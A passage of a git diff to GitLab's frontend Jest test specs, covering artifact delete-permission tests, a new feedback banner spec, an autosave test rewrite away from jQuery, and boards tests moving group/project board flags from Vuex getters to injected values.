it('returns 404 for non-existing branch', () => {
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.NOT_FOUND, {
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_NOT_FOUND, {
message: '404 Not found',
});
return Api.projectProtectedBranch(dummyProjectId, branchName).catch((error) => {
- expect(error.response.status).toBe(httpStatus.NOT_FOUND);
+ expect(error.response.status).toBe(HTTP_STATUS_NOT_FOUND);
expect(axios.get).toHaveBeenCalledWith(expectedUrl);
});
});
@@ -1730,7 +1733,7 @@ describe('Api', () => {
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, expectedObj);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, expectedObj);
return Api.projectProtectedBranch(dummyProjectId, branchName).then((data) => {
expect(data).toEqual(expectedObj);
diff --git a/spec/frontend/artifacts/components/artifact_row_spec.js b/spec/frontend/artifacts/components/artifact_row_spec.js
index dcc0d684f13..2a7156bf480 100644
--- a/spec/frontend/artifacts/components/artifact_row_spec.js
+++ b/spec/frontend/artifacts/components/artifact_row_spec.js
@@ -16,13 +16,14 @@ describe('ArtifactRow component', () => {
const findDownloadButton = () => wrapper.findByTestId('job-artifact-row-download-button');
const findDeleteButton = () => wrapper.findByTestId('job-artifact-row-delete-button');
- const createComponent = (mountFn = shallowMountExtended) => {
- wrapper = mountFn(ArtifactRow, {
+ const createComponent = ({ canDestroyArtifacts = true } = {}) => {
+ wrapper = shallowMountExtended(ArtifactRow, {
propsData: {
artifact,
isLoading: false,
isLastRow: false,
},
+ provide: { canDestroyArtifacts },
stubs: { GlBadge, GlButton, GlFriendlyWrap },
});
};
@@ -50,12 +51,24 @@ describe('ArtifactRow component', () => {
it('displays the download button as a link to the download path', () => {
expect(findDownloadButton().attributes('href')).toBe(artifact.downloadPath);
});
+ });
+
+ describe('delete button', () => {
+ it('does not show when user does not have permission', () => {
+ createComponent({ canDestroyArtifacts: false });
+
+ expect(findDeleteButton().exists()).toBe(false);
+ });
+
+ it('shows when user has permission', () => {
+ createComponent();
- it('displays the delete button', () => {
expect(findDeleteButton().exists()).toBe(true);
});
- it('emits the delete event when the delete button is clicked', async () => {
+ it('emits the delete event when clicked', async () => {
+ createComponent();
+
expect(wrapper.emitted('delete')).toBeUndefined();
findDeleteButton().trigger('click');
diff --git a/spec/frontend/artifacts/components/artifacts_table_row_details_spec.js b/spec/frontend/artifacts/components/artifacts_table_row_details_spec.js
index c6ad13462f9..d006e0285d2 100644
--- a/spec/frontend/artifacts/components/artifacts_table_row_details_spec.js
+++ b/spec/frontend/artifacts/components/artifacts_table_row_details_spec.js
@@ -40,6 +40,7 @@ describe('ArtifactsTableRowDetails component', () => {
refetchArtifacts,
queryVariables: {},
},
+ provide: { canDestroyArtifacts: true },
data() {
return { deletingArtifactId: null };
},
diff --git a/spec/frontend/artifacts/components/feedback_banner_spec.js b/spec/frontend/artifacts/components/feedback_banner_spec.js
new file mode 100644
index 00000000000..3421486020a
--- /dev/null
+++ b/spec/frontend/artifacts/components/feedback_banner_spec.js
@@ -0,0 +1,63 @@
+import { GlBanner } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import FeedbackBanner from '~/artifacts/components/feedback_banner.vue';
+import { makeMockUserCalloutDismisser } from 'helpers/mock_user_callout_dismisser';
+import {
+ I18N_FEEDBACK_BANNER_TITLE,
+ I18N_FEEDBACK_BANNER_BUTTON,
+ FEEDBACK_URL,
+} from '~/artifacts/constants';
+
+const mockBannerImagePath = 'banner/image/path';
+
+describe('Artifacts management feedback banner', () => {
+ let wrapper;
+ let userCalloutDismissSpy;
+
+ const findBanner = () => wrapper.findComponent(GlBanner);
+
+ const createComponent = ({ shouldShowCallout = true } = {}) => {
+ userCalloutDismissSpy = jest.fn();
+
+ wrapper = shallowMount(FeedbackBanner, {
+ provide: {
+ artifactsManagementFeedbackImagePath: mockBannerImagePath,
+ },
+ stubs: {
+ UserCalloutDismisser: makeMockUserCalloutDismisser({
+ dismiss: userCalloutDismissSpy,
+ shouldShowCallout,
+ }),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('is displayed with the correct props', () => {
+ createComponent();
+
+ expect(findBanner().props()).toMatchObject({
+ title: I18N_FEEDBACK_BANNER_TITLE,
+ buttonText: I18N_FEEDBACK_BANNER_BUTTON,
+ buttonLink: FEEDBACK_URL,
+ svgPath: mockBannerImagePath,
+ });
+ });
+
+ it('dismisses the callout when closed', () => {
+ createComponent();
+
+ findBanner().vm.$emit('close');
+
+ expect(userCalloutDismissSpy).toHaveBeenCalled();
+ });
+
+ it('is not displayed once it has been dismissed', () => {
+ createComponent({ shouldShowCallout: false });
+
+ expect(findBanner().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/artifacts/components/job_artifacts_table_spec.js b/spec/frontend/artifacts/components/job_artifacts_table_spec.js
index 131b4b99bb2..dbe4598f599 100644
--- a/spec/frontend/artifacts/components/job_artifacts_table_spec.js
+++ b/spec/frontend/artifacts/components/job_artifacts_table_spec.js
@@ -5,6 +5,7 @@ import getJobArtifactsResponse from 'test_fixtures/graphql/artifacts/graphql/que
import CiIcon from '~/vue_shared/components/ci_icon.vue';
import waitForPromises from 'helpers/wait_for_promises';
import JobArtifactsTable from '~/artifacts/components/job_artifacts_table.vue';
+import FeedbackBanner from '~/artifacts/components/feedback_banner.vue';
import ArtifactsTableRowDetails from '~/artifacts/components/artifacts_table_row_details.vue';
import ArtifactDeleteModal from '~/artifacts/components/artifact_delete_modal.vue';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -23,6 +24,8 @@ describe('JobArtifactsTable component', () => {
let wrapper;
let requestHandlers;
+ const findBanner = () => wrapper.findComponent(FeedbackBanner);
+
const findLoadingState = () => wrapper.findComponent(GlLoadingIcon);
const findTable = () => wrapper.findComponent(GlTable);
const findDetailsRows = () => wrapper.findAllComponents(ArtifactsTableRowDetails);
@@ -79,13 +82,18 @@ describe('JobArtifactsTable component', () => {
getJobArtifactsQuery: jest.fn().mockResolvedValue(getJobArtifactsResponse),
},
data = {},
+ canDestroyArtifacts = true,
) => {
requestHandlers = handlers;
wrapper = mountExtended(JobArtifactsTable, {
apolloProvider: createMockApollo([
[getJobArtifactsQuery, requestHandlers.getJobArtifactsQuery],
]),
- provide: { projectPath: 'project/path' },
+ provide: {
+ projectPath: 'project/path',
+ canDestroyArtifacts,
+ artifactsManagementFeedbackImagePath: 'banner/image/path',
+ },
data() {
return data;
},
@@ -96,6 +104,12 @@ describe('JobArtifactsTable component', () => {
wrapper.destroy();
});
+ it('renders feedback banner', () => {
+ createComponent();
+
+ expect(findBanner().exists()).toBe(true);
+ });
+
it('when loading, shows a loading state', () => {
createComponent();
@@ -283,6 +297,14 @@ describe('JobArtifactsTable component', () => {
});
describe('delete button', () => {
+ it('does not show when user does not have permission', async () => {
+ createComponent({}, {}, false);
+
+ await waitForPromises();
+
+ expect(findDeleteButton().exists()).toBe(false);
+ });
+
it('shows a disabled delete button for now (coming soon)', async () => {
createComponent();
diff --git a/spec/frontend/autosave_spec.js b/spec/frontend/autosave_spec.js
index 7a9262cd004..88460221168 100644
--- a/spec/frontend/autosave_spec.js
+++ b/spec/frontend/autosave_spec.js
@@ -1,4 +1,3 @@
-import $ from 'jquery';
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import Autosave from '~/autosave';
import AccessorUtilities from '~/lib/utils/accessor';
@@ -7,12 +6,19 @@ describe('Autosave', () => {
useLocalStorageSpy();
let autosave;
- const field = $('<textarea></textarea>');
- const checkbox = $('<input type="checkbox">');
+ const field = document.createElement('textarea');
+ const checkbox = document.createElement('input');
+ checkbox.type = 'checkbox';
const key = 'key';
const fallbackKey = 'fallbackKey';
const lockVersionKey = 'lockVersionKey';
const lockVersion = 1;
+ const getAutosaveKey = () => `autosave/${key}`;
+ const getAutosaveLockKey = () => `autosave/${key}/lockVersion`;
+
+ afterEach(() => {
+ autosave?.dispose?.();
+ });
describe('class constructor', () => {
beforeEach(() => {
@@ -43,18 +49,10 @@ describe('Autosave', () => {
});
describe('restore', () => {
- beforeEach(() => {
- autosave = {
- field,
- key,
- };
- });
-
describe('if .isLocalStorageAvailable is `false`', () => {
beforeEach(() => {
- autosave.isLocalStorageAvailable = false;
-
- Autosave.prototype.restore.call(autosave);
+ jest.spyOn(AccessorUtilities, 'canUseLocalStorage').mockReturnValue(false);
+ autosave = new Autosave(field, key);
});
it('should not call .getItem', () => {
@@ -63,97 +61,73 @@ describe('Autosave', () => {
});
describe('if .isLocalStorageAvailable is `true`', () => {
- beforeEach(() => {
- autosave.isLocalStorageAvailable = true;
- });
-
it('should call .getItem', () => {
- Autosave.prototype.restore.call(autosave);
-
- expect(window.localStorage.getItem).toHaveBeenCalledWith(key);
+ autosave = new Autosave(field, key);
+ expect(window.localStorage.getItem.mock.calls).toEqual([[getAutosaveKey()], []]);
});
- it('triggers jquery event', () => {
- jest.spyOn(autosave.field, 'trigger').mockImplementation(() => {});
-
- Autosave.prototype.restore.call(autosave);
-
- expect(field.trigger).toHaveBeenCalled();
- });
-
- it('triggers native event', () => {
- const fieldElement = autosave.field.get(0);
- const eventHandler = jest.fn();
- fieldElement.addEventListener('change', eventHandler);
-
- Autosave.prototype.restore.call(autosave);
+ describe('if saved value is present', () => {
+ const storedValue = 'bar';
- expect(eventHandler).toHaveBeenCalledTimes(1);
- fieldElement.removeEventListener('change', eventHandler);
- });
-
- describe('if field type is checkbox', () => {
beforeEach(() => {
- autosave = {
- field: checkbox,
- key,
- isLocalStorageAvailable: true,
- type: 'checkbox',
- };
+ field.value = 'foo';
+ window.localStorage.setItem(getAutosaveKey(), storedValue);
});
- it('should restore', () => {
- window.localStorage.setItem(key, true);
- expect(checkbox.is(':checked')).toBe(false);
- Autosave.prototype.restore.call(autosave);
- expect(checkbox.is(':checked')).toBe(true);
+ it('restores the value', () => {
+ autosave = new Autosave(field, key);
+ expect(field.value).toEqual(storedValue);
});
- });
- });
- describe('if field gets deleted from DOM', () => {
- beforeEach(() => {
- autosave.field = $('.not-a-real-element');
- });
+ it('triggers native event', () => {
+ const eventHandler = jest.fn();
+ field.addEventListener('change', eventHandler);
+ autosave = new Autosave(field, key);
- it('does not trigger event', () => {
- jest.spyOn(field, 'trigger');
+ expect(eventHandler).toHaveBeenCalledTimes(1);
+ field.removeEventListener('change', eventHandler);
+ });
+
+ describe('if field type is checkbox', () => {
+ beforeEach(() => {
+ checkbox.checked = false;
+ window.localStorage.setItem(getAutosaveKey(), true);
+ autosave = new Autosave(checkbox, key);
+ });
- expect(field.trigger).not.toHaveBeenCalled();
+ it('should restore', () => {
+ expect(checkbox.checked).toBe(true);
+ });
+ });
});
});
});
describe('getSavedLockVersion', () => {
- beforeEach(() => {
- autosave = {
- field,
- key,
- lockVersionKey,
- };
- });
-
describe('if .isLocalStorageAvailable is `false`', () => {
beforeEach(() => {
- autosave.isLocalStorageAvailable = false;
-
- Autosave.prototype.getSavedLockVersion.call(autosave);
+ jest.spyOn(AccessorUtilities, 'canUseLocalStorage').mockReturnValue(false);
+ autosave = new Autosave(field, key);
});
it('should not call .getItem', () => {
+ autosave.getSavedLockVersion();
expect(window.localStorage.getItem).not.toHaveBeenCalled();
});
});
describe('if .isLocalStorageAvailable is `true`', () => {
beforeEach(() => {
- autosave.isLocalStorageAvailable = true;
+ autosave = new Autosave(field, key);
});
it('should call .getItem', () => {
- Autosave.prototype.getSavedLockVersion.call(autosave);
-
- expect(window.localStorage.getItem).toHaveBeenCalledWith(lockVersionKey);
+ autosave.getSavedLockVersion();
+ expect(window.localStorage.getItem.mock.calls).toEqual([
+ [getAutosaveKey()],
+ [],
+ [getAutosaveLockKey()],
+ ]);
});
});
});
@@ -162,7 +136,7 @@ describe('Autosave', () => {
beforeEach(() => {
autosave = { reset: jest.fn() };
autosave.field = field;
- field.val('value');
+ field.value = 'value';
});
describe('if .isLocalStorageAvailable is `false`', () => {
@@ -200,14 +174,14 @@ describe('Autosave', () => {
});
it('should save true when checkbox on', () => {
- checkbox.prop('checked', true);
+ checkbox.checked = true;
Autosave.prototype.save.call(autosave);
expect(window.localStorage.setItem).toHaveBeenCalledWith(key, true);
});
it('should call reset when checkbox off', () => {
autosave.reset = jest.fn();
- checkbox.prop('checked', false);
+ checkbox.checked = false;
Autosave.prototype.save.call(autosave);
expect(autosave.reset).toHaveBeenCalled();
expect(window.localStorage.setItem).not.toHaveBeenCalled();
diff --git a/spec/frontend/batch_comments/components/submit_dropdown_spec.js b/spec/frontend/batch_comments/components/submit_dropdown_spec.js
index 462ef7e7280..003a6d86371 100644
--- a/spec/frontend/batch_comments/components/submit_dropdown_spec.js
+++ b/spec/frontend/batch_comments/components/submit_dropdown_spec.js
@@ -3,6 +3,8 @@ import Vuex from 'vuex';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import SubmitDropdown from '~/batch_comments/components/submit_dropdown.vue';
+jest.mock('~/autosave');
+
Vue.use(Vuex);
let wrapper;
diff --git a/spec/frontend/behaviors/markdown/render_gfm_spec.js b/spec/frontend/behaviors/markdown/render_gfm_spec.js
new file mode 100644
index 00000000000..0bbb92282e5
--- /dev/null
+++ b/spec/frontend/behaviors/markdown/render_gfm_spec.js
@@ -0,0 +1,9 @@
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
+
+describe('renderGFM', () => {
+ it('handles a missing element', () => {
+ expect(() => {
+ renderGFM();
+ }).not.toThrow();
+ });
+});
diff --git a/spec/frontend/boards/board_card_inner_spec.js b/spec/frontend/boards/board_card_inner_spec.js
index d05e057095d..2c8e6306431 100644
--- a/spec/frontend/boards/board_card_inner_spec.js
+++ b/spec/frontend/boards/board_card_inner_spec.js
@@ -1,7 +1,7 @@
import { GlLabel, GlLoadingIcon, GlTooltip } from '@gitlab/ui';
import { range } from 'lodash';
+import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
-import { nextTick } from 'vue';
import setWindowLocation from 'helpers/set_window_location_helper';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { mountExtended } from 'helpers/vue_test_utils_helper';
@@ -17,6 +17,8 @@ import { mockLabelList, mockIssue, mockIssueFullPath } from './mock_data';
jest.mock('~/lib/utils/url_utility');
jest.mock('~/boards/eventhub');
+Vue.use(Vuex);
+
describe('Board card component', () => {
const user = {
id: 1,
@@ -52,25 +54,19 @@ describe('Board card component', () => {
const performSearchMock = jest.fn();
- const createStore = ({ isProjectBoard = false } = {}) => {
+ const createStore = () => {
store = new Vuex.Store({
- ...defaultStore,
actions: {
performSearch: performSearchMock,
},
state: {
...defaultStore.state,
- issuableType: issuableTypes.issue,
isShowingLabels: true,
},
- getters: {
- isGroupBoard: () => true,
- isProjectBoard: () => isProjectBoard,
- },
});
};
- const createWrapper = ({ props = {}, isEpicBoard = false } = {}) => {
+ const createWrapper = ({ props = {}, isEpicBoard = false, isGroupBoard = true } = {}) => {
wrapper = mountExtended(BoardCardInner, {
store,
propsData: {
@@ -97,6 +93,8 @@ describe('Board card component', () => {
rootPath: '/',
scopedLabelsAvailable: false,
isEpicBoard,
+ issuableType: issuableTypes.issue,
+ isGroupBoard,
},
});
};
@@ -164,8 +162,8 @@ describe('Board card component', () => {
});
it('does not render item reference path', () => {
- createStore({ isProjectBoard: true });
- createWrapper();
+ createStore();
+ createWrapper({ isGroupBoard: false });
expect(wrapper.find('.board-card-number').text()).not.toContain(mockIssueFullPath);
});
diff --git a/spec/frontend/boards/board_list_helper.js b/spec/frontend/boards/board_list_helper.js
index c5c3faf1712..1ba546f24a8 100644
--- a/spec/frontend/boards/board_list_helper.js
+++ b/spec/frontend/boards/board_list_helper.js
@@ -58,8 +58,6 @@ export default function createComponent({
...state,
},
getters: {
- isGroupBoard: () => false,
- isProjectBoard: () => true,
isEpicBoard: () => false,
...getters,
},
@@ -88,7 +86,6 @@ export default function createComponent({
apolloProvider: fakeApollo,
store,
propsData: {
- disabled: false,
list,
boardItems: [issue],
canAdminList: true,
@@ -97,12 +94,16 @@ export default function createComponent({
provide: {
groupId: null,
rootPath: '/',
+ fullPath: 'gitlab-org',
boardId: '1',
weightFeatureAvailable: false,
boardWeight: null,
canAdminList: true,
isIssueBoard: true,
isEpicBoard: false,
+ isGroupBoard: false,
+ isProjectBoard: true,
+ disabled: false,
...provide,
},
stubs,
diff --git a/spec/frontend/boards/board_list_spec.js b/spec/frontend/boards/board_list_spec.js
index 34c0504143c..abe8c230bd8 100644
--- a/spec/frontend/boards/board_list_spec.js
+++ b/spec/frontend/boards/board_list_spec.js
@@ -267,7 +267,7 @@ describe('Board list component', () => {
describe('when dragging is not allowed', () => {
beforeEach(() => {
wrapper = createComponent({
- componentProps: {
+ provide: {
disabled: true,
},
});
diff --git a/spec/frontend/boards/components/board_app_spec.js b/spec/frontend/boards/components/board_app_spec.js
index c209f2f82e6..872a67a71fb 100644
--- a/spec/frontend/boards/components/board_app_spec.js
+++ b/spec/frontend/boards/components/board_app_spec.js
@@ -23,11 +23,10 @@ describe('BoardApp', () => {
});
};
- const createComponent = ({ provide = { disabled: true } } = {}) => {
+ const createComponent = () => {
wrapper = shallowMount(BoardApp, {
store,
provide: {
- ...provide,
fullBoardId: 'gid://gitlab/Board/1',
},
});
diff --git a/spec/frontend/boards/components/board_card_spec.js b/spec/frontend/boards/components/board_card_spec.js
index 38b79e2e3f3..f8ad7c468c1 100644
--- a/spec/frontend/boards/components/board_card_spec.js
+++ b/spec/frontend/boards/components/board_card_spec.js
@@ -29,9 +29,6 @@ describe('Board card', () => {
...initialState,
},
actions: mockActions,
- getters: {
- isProjectBoard: () => false,
- },
});
};
@@ -52,7 +49,6 @@ describe('Board card', () => {
propsData: {
list: mockLabelList,
item,
- disabled: false,
index: 0,
...propsData,
},
@@ -61,6 +57,10 @@ describe('Board card', () => {
rootPath: '/',
scopedLabelsAvailable: false,
isEpicBoard: false,
+ issuableType: 'issue',
+ isProjectBoard: false,
+ isGroupBoard: true,
+ disabled: false,
...provide,
},
});
diff --git a/spec/frontend/boards/components/board_column_spec.js b/spec/frontend/boards/components/board_column_spec.js
index c13f7caba76..d34e228a2d7 100644
--- a/spec/frontend/boards/components/board_column_spec.js
+++ b/spec/frontend/boards/components/board_column_spec.js
@@ -34,7 +34,6 @@ describe('Board Column Component', () => {
wrapper = shallowMount(BoardColumn, {
store,
propsData: {
- disabled: false,
list: listMock,
},
});
diff --git a/spec/frontend/boards/components/board_content_sidebar_spec.js b/spec/frontend/boards/components/board_content_sidebar_spec.js
index 0d5b1d16e30..51c42b48535 100644
--- a/spec/frontend/boards/components/board_content_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_content_sidebar_spec.js
@@ -7,7 +7,7 @@ import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdow
import { stubComponent } from 'helpers/stub_component';
import BoardContentSidebar from '~/boards/components/board_content_sidebar.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
-import { ISSUABLE } from '~/boards/constants';
+import { ISSUABLE, issuableTypes } from '~/boards/constants';
import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSeverity from '~/sidebar/components/severity/sidebar_severity.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
@@ -26,7 +26,6 @@ describe('BoardContentSidebar', () => {
sidebarType: ISSUABLE,
issues: { [mockIssue.id]: { ...mockIssue, epic: null } },
activeId: mockIssue.id,
- issuableType: 'issue',
},
getters: {
activeBoardItem: () => {
@@ -35,7 +34,6 @@ describe('BoardContentSidebar', () => {
groupPathForActiveIssue: () => mockIssueGroupPath,
projectPathForActiveIssue: () => mockIssueProjectPath,
isSidebarOpen: () => true,
- isGroupBoard: () => false,
...mockGetters,
},
actions: mockActions,
@@ -55,6 +53,8 @@ describe('BoardContentSidebar', () => {
canUpdate: true,
rootPath: '/',
groupId: 1,
+ issuableType: issuableTypes.issue,
+ isGroupBoard: false,
},
store,
stubs: {
diff --git a/spec/frontend/boards/components/board_content_spec.js b/spec/frontend/boards/components/board_content_spec.js
index 82e7ab48e7d..97596c86198 100644
--- a/spec/frontend/boards/components/board_content_spec.js
+++ b/spec/frontend/boards/components/board_content_spec.js
@@ -60,7 +60,6 @@ describe('BoardContent', () => {
wrapper = shallowMount(BoardContent, {
apolloProvider: fakeApollo,
propsData: {
- disabled: false,
boardId: 'gid://gitlab/Board/1',
...props,
},
@@ -71,6 +70,8 @@ describe('BoardContent', () => {
issuableType,
isIssueBoard,
isEpicBoard,
+ isGroupBoard: true,
+ disabled: false,
isApolloBoard,
},
store,
diff --git a/spec/frontend/boards/components/board_filtered_search_spec.js b/spec/frontend/boards/components/board_filtered_search_spec.js
index e80c66f7fb8..4c0cc36889c 100644
--- a/spec/frontend/boards/components/board_filtered_search_spec.js
+++ b/spec/frontend/boards/components/board_filtered_search_spec.js
@@ -139,6 +139,7 @@ describe('BoardFilteredSearch', () => {
{ type: TOKEN_TYPE_ITERATION, value: { data: 'Any&3', operator: '=' } },
{ type: TOKEN_TYPE_RELEASE, value: { data: 'v1.0.0', operator: '=' } },
{ type: TOKEN_TYPE_HEALTH, value: { data: 'onTrack', operator: '=' } },
+ { type: TOKEN_TYPE_HEALTH, value: { data: 'atRisk', operator: '!=' } },
];
jest.spyOn(urlUtility, 'updateHistory');
findFilteredSearch().vm.$emit('onFilter', mockFilters);
@@ -147,7 +148,7 @@ describe('BoardFilteredSearch', () => {
title: '',
replace: true,
url:
- 'http://test.host/?author_username=root&label_name[]=label&label_name[]=label%262&assignee_username=root&milestone_title=New%20Milestone&iteration_id=Any&iteration_cadence_id=3&types=INCIDENT&weight=2&release_tag=v1.0.0&health_status=onTrack',
+ 'http://test.host/?not[health_status]=atRisk&author_username=root&label_name[]=label&label_name[]=label%262&assignee_username=root&milestone_title=New%20Milestone&iteration_id=Any&iteration_cadence_id=3&types=INCIDENT&weight=2&release_tag=v1.0.0&health_status=onTrack',
});
});
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index fdc16b46167..f8154145d43 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -53,10 +53,6 @@ describe('BoardForm', () => {
const setErrorMock = jest.fn();
const store = new Vuex.Store({
- getters: {
- isGroupBoard: () => true,
- isProjectBoard: () => false,
- },
actions: {
setBoard: setBoardMock,
setError: setErrorMock,
@@ -73,6 +69,8 @@ describe('BoardForm', () => {
},
provide: {
boardBaseUrl: 'root',
+ isGroupBoard: true,
+ isProjectBoard: false,
},
mocks: {
$apollo: {
diff --git a/spec/frontend/boards/components/board_list_header_spec.js b/spec/frontend/boards/components/board_list_header_spec.js
index 4633612891c..a16b99728c3 100644
--- a/spec/frontend/boards/components/board_list_header_spec.js
+++ b/spec/frontend/boards/components/board_list_header_spec.js
@@ -68,7 +68,6 @@ describe('Board List Header Component', () => {
apolloProvider: fakeApollo,
store,
propsData: {
- disabled: false,
list: listMock,
},
provide: {
@@ -76,6 +75,7 @@ describe('Board List Header Component', () => {
weightFeatureAvailable: false,
currentUserId,
isEpicBoard: false,
+ disabled: false,
},
}),
);
diff --git a/spec/frontend/boards/components/board_new_issue_spec.js b/spec/frontend/boards/components/board_new_issue_spec.js
index f097f42476a..c3e69ba0e40 100644
--- a/spec/frontend/boards/components/board_new_issue_spec.js
+++ b/spec/frontend/boards/components/board_new_issue_spec.js
@@ -14,9 +14,10 @@ const addListNewIssuesSpy = jest.fn().mockResolvedValue();
const mockActions = { addListNewIssue: addListNewIssuesSpy };
const createComponent = ({
- state = { selectedProject: mockGroupProjects[0], fullPath: mockGroupProjects[0].fullPath },
+ state = { selectedProject: mockGroupProjects[0] },
actions = mockActions,
- getters = { isGroupBoard: () => true, getBoardItemsByList: () => () => [] },
+ getters = { getBoardItemsByList: () => () => [] },
+ isGroupBoard = true,
} = {}) =>
shallowMount(BoardNewIssue, {
store: new Vuex.Store({
@@ -29,8 +30,10 @@ const createComponent = ({
},
provide: {
groupId: 1,
+ fullPath: mockGroupProjects[0].fullPath,
weightFeatureAvailable: false,
boardWeight: null,
+ isGroupBoard,
},
stubs: {
BoardNewItem,
@@ -84,9 +87,9 @@ describe('Issue boards new issue form', () => {
beforeEach(() => {
wrapper = createComponent({
getters: {
- isGroupBoard: () => true,
getBoardItemsByList: () => () => [mockIssue, mockIssue2],
},
+ isGroupBoard: true,
});
});
@@ -128,7 +131,7 @@ describe('Issue boards new issue form', () => {
describe('when in project issue board', () => {
beforeEach(() => {
wrapper = createComponent({
- getters: { isGroupBoard: () => false },
+ isGroupBoard: false,
});
});
diff --git a/spec/frontend/boards/components/board_top_bar_spec.js b/spec/frontend/boards/components/board_top_bar_spec.js
index 08b5042f70f..af492145eb0 100644
--- a/spec/frontend/boards/components/board_top_bar_spec.js
+++ b/spec/frontend/boards/components/board_top_bar_spec.js
@@ -33,6 +33,7 @@ describe('BoardTopBar', () => {
boardType: 'group',
releasesFetchPath: '/releases',
isIssueBoard: true,
+ isGroupBoard: true,
...provide,
},
stubs: { IssueBoardFilteredSearch },
diff --git a/spec/frontend/boards/components/boards_selector_spec.js b/spec/frontend/boards/components/boards_selector_spec.js
index f3be66db36f..7b61ca5e6fd 100644
--- a/spec/frontend/boards/components/boards_selector_spec.js
+++ b/spec/frontend/boards/components/boards_selector_spec.js
@@ -10,7 +10,6 @@ import groupBoardsQuery from '~/boards/graphql/group_boards.query.graphql';
import projectBoardsQuery from '~/boards/graphql/project_boards.query.graphql';
import groupRecentBoardsQuery from '~/boards/graphql/group_recent_boards.query.graphql';
import projectRecentBoardsQuery from '~/boards/graphql/project_recent_boards.query.graphql';
-import defaultStore from '~/boards/stores';
import createMockApollo from 'helpers/mock_apollo_helper';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import {
@@ -28,25 +27,20 @@ import {
const throttleDuration = 1;
Vue.use(VueApollo);
+Vue.use(Vuex);
describe('BoardsSelector', () => {
let wrapper;
let fakeApollo;
let store;
- const createStore = ({ isGroupBoard = false, isProjectBoard = false } = {}) => {
+ const createStore = () => {
store = new Vuex.Store({
- ...defaultStore,
actions: {
setError: jest.fn(),
setBoardConfig: jest.fn(),
},
- getters: {
- isGroupBoard: () => isGroupBoard,
- isProjectBoard: () => isProjectBoard,
- },
state: {
- boardType: isGroupBoard ? 'group' : 'project',
board: mockBoard,
},
});
@@ -86,6 +80,8 @@ describe('BoardsSelector', () => {
const createComponent = ({
projectBoardsQueryHandler = projectBoardsQueryHandlerSuccess,
projectRecentBoardsQueryHandler = projectRecentBoardsQueryHandlerSuccess,
+ isGroupBoard = false,
+ isProjectBoard = false,
} = {}) => {
fakeApollo = createMockApollo([
[projectBoardsQuery, projectBoardsQueryHandler],
@@ -109,6 +105,9 @@ describe('BoardsSelector', () => {
multipleIssueBoardsAvailable: true,
scopedIssueBoardFeatureEnabled: true,
weights: [],
+ boardType: isGroupBoard ? 'group' : 'project',
+ isGroupBoard,
+ isProjectBoard,
},
});
};
@@ -120,8 +119,8 @@ describe('BoardsSelector', () => {
describe('template', () => {
beforeEach(() => {
- createStore({ isProjectBoard: true });
- createComponent();
+ createStore();
+ createComponent({ isProjectBoard: true });
});
describe('loading', () => {
@@ -229,11 +228,11 @@ describe('BoardsSelector', () => {
${BoardType.group} | ${groupBoardsQueryHandlerSuccess} | ${projectBoardsQueryHandlerSuccess}
${BoardType.project} | ${projectBoardsQueryHandlerSuccess} | ${groupBoardsQueryHandlerSuccess}
`('fetches $boardType boards', async ({ boardType, queryHandler, notCalledHandler }) => {
- createStore({
- isProjectBoard: boardType === BoardType.project,
+ createStore();
+ createComponent({
isGroupBoard: boardType === BoardType.group,
+ isProjectBoard: boardType === BoardType.project,
});
- createComponent();
await nextTick();
diff --git a/spec/frontend/boards/components/issue_board_filtered_search_spec.js b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
index 513561307cd..57a30ddc512 100644
--- a/spec/frontend/boards/components/issue_board_filtered_search_spec.js
+++ b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
@@ -18,7 +18,7 @@ describe('IssueBoardFilter', () => {
isSignedIn,
releasesFetchPath: '/releases',
fullPath: 'gitlab-org',
- boardType: 'group',
+ isGroupBoard: true,
},
});
};
diff --git a/spec/frontend/boards/stores/getters_spec.js b/spec/frontend/boards/stores/getters_spec.js
index 304f2aad98e..c86a256bd96 100644
--- a/spec/frontend/boards/stores/getters_spec.js
+++ b/spec/frontend/boards/stores/getters_spec.js
@@ -12,42 +12,6 @@ import {
} from '../mock_data';
describe('Boards - Getters', () => {
- describe('isGroupBoard', () => {
- it('returns true when boardType on state is group', () => {
- const state = {
- boardType: 'group',
- };
-
- expect(getters.isGroupBoard(state)).toBe(true);
- });
-
- it('returns false when boardType on state is not group', () => {
- const state = {
- boardType: 'project',
- };
-
- expect(getters.isGroupBoard(state)).toBe(false);
- });
- });
-
- describe('isProjectBoard', () => {
- it('returns true when boardType on state is project', () => {
- const state = {
- boardType: 'project',
- };
-
- expect(getters.isProjectBoard(state)).toBe(true);
- });
-
- it('returns false when boardType on state is not project', () => {
- const state = {
- boardType: 'group',
- };
-
- expect(getters.isProjectBoard(state)).toBe(false);
- });
- });
-
describe('isSidebarOpen', () => {
it('returns true when activeId is not equal to 0', () => {
const state = {
diff --git a/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js b/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
index b2a25bc93ea..002fe7c6e71 100644
--- a/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
+++ b/spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js
